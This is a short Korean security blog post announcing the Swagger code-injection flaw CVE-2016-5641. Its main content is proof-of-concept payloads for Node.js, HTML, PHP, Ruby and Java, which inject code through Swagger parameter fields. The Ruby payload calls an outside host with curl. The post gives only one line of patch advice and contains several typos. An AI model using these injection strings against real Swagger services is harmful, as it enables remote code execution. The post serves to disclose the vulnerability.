Swagger 원격코드실행 취약점(CVE_2016-5641) 발견!
새로운 인기 오픈소스 API 프레임워크 Swagger에서 취약점이 발견되었습니다. 이 취약점(CVE-2016-5641)은 클라이언트 및 서버에 존재하며, 공격에 악용될 경우 JASN 공개표준 포맷 또는 YAML 데이터 직렬화 언어를 사용하는 Swagger 파일 내 파라미터 인젝션을 통해 원격코드실행이 가능합니다.
Java, PHP,NodeJS 및 Rube 등 언어들이 영향을 받습니다.
Expoit
Javascript(node)
“paths”: {
”/a’);};};return exports;}));console.log(‘RCE’);(function(){}(this,function(){a=function(){b=function(){new Array(‘”: {
html
“info”: { “description”: “<script>alert(1)</script>”,
php
“definitions”: {
”d”: {
“type”: “object”,
“description”: “*/ echo system(chr(0x6c).chr(0×73)); /*”,
ruby
“info”: {
”description”: “=begin”,
”title”: “=end `curl -X POST -d \”fizz=buzz\” http://requestb.in/1ftnzfy1`”
Java
“paths”: {
”/a\”; try{java.lang.Runtime.getRuntime().exec(\”ls\”);}catch(Exception e){} \”":
패치방법
특정 언어 이스케이스 시퀀스의 Swagger 문서를 잘 살펴봐야 한다.
출처 :
자동 루팅 멀웨어에 감염 된 ‘LevelDropper’ 안드로이드 앱 (0) | 2016.06.29 |
---|---|
새로운 랜섬웨어 'Bart' 주의! (0) | 2016.06.28 |
여러 루팅 익스플로잇 사용하는 안드로이드 악성코드 Godless 발견! (0) | 2016.06.27 |
Librachive 취약점 발견! (0) | 2016.06.23 |
Wget취약점(CVE-2016-4971) 발견! (0) | 2016.06.22 |
댓글 영역